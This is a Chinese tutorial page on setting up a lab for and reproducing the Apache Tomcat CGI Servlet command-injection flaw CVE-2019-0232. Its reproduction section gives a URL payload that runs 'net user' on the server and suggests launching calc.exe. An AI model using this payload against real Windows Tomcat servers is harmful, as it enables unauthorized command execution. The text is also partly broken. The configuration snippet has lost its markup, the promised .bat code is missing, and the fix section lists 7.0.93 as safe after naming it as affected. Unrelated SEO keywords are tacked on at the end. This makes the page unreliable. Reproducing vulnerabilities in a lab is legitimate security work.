千家信息网

如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所
千家信息网最后更新 2025年12月01日如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现

如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

0x00简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

0x01漏洞概述

该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

0x02影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

0x03环境搭建

环境:Java8+Apache Tomcat 8.5.39

1.安装tomcat需要java8环境,jdk下载地址:

https://www.oracle.com/java/technologies/javase-downloads.html

2.下载完成后双击安装,一直点击下一步知道安装完成。

2.在系统环境变量中新建JAVA_HOME添加java安装路径,然后在Path变量编辑添加%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

3.安装tomcat8.5.39版本,下载地址:

https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/

4.下载完成后解压出来配置tomcat,打开Tomcat安装目录的apache-tomcat-8.5.39\conf\web.xml把取消以下两项的注释,否则访问cgi目录会提示404,在默认情况下配置是注释的。

cgi

org.apache.catalina.servlets.CGIServlet

debug

0

cgiPathPrefix

WEB-INF/cgi-bin

executable

5

5.然后修改在conf/context.xml中的添加privileged="true"语句

6.在apache-tomcat-8.5.39\webapps\ROOT\WEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入以下代码

7.都配置完成后进入apache-tomcat-8.5.39-src\bin下运行startup.bat启动tomcat

8.在浏览器输入http://your-ip:8080看到以下页面表示安装成功

0x04漏洞复现

1.在浏览器访问http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user,执行net user 命令

2.把后面的命令修改成calc.exe弹出计算器

0x05漏洞修复

建议将受影响版本的用户应该应用下列其中一项缓解。升级到:

Apache Tomcat 9.0.18或更高版本

Apache Tomcat 8.5.40或更高版本

Apache Tomcat 7.0.93或更高版本

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注行业资讯频道,感谢您对的支持。

漏洞 服务器 版本 环境 服务 运行 系统 应用 配置 命令 文件 代码 变量 地址 实际 实际上 文件夹 注释 浏览器 用户 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 关于网络安全的论文英语翻译 网络安全大赛歌曲得奖 网络技术应用题山东 电脑服务器号和密码都在哪里 上海计华互联网科技有限公司 中国地质大学我的世界服务器 影响软件开发进度的因素 lce服务器操作员 小文 小学生防止沉迷网络安全教育记录 大连网络技术培训学校 软件开发安装成熟度 陕西省第四届国家网络安全宣传 靖江巨型网络技术哪家好 cs1.6的服务器 服务器维护员 属于数据链路层的网络技术 软件开发认可 云趣科技 游戏如何清除服务器记录 云数据库支持百万数据吗 登入文件服务器管理员 上海计华互联网科技有限公司 网络安全风险名称 钓鱼城杯国际网络安全决赛 计算机网络技术如何提升职业能力 湖北正规软件开发服务费 达梦数据库在麒麟系统启动 第七网络技术有限公司 同一网段打不开web服务器 互联网科技企业商标 广州定制化服务器厂家
0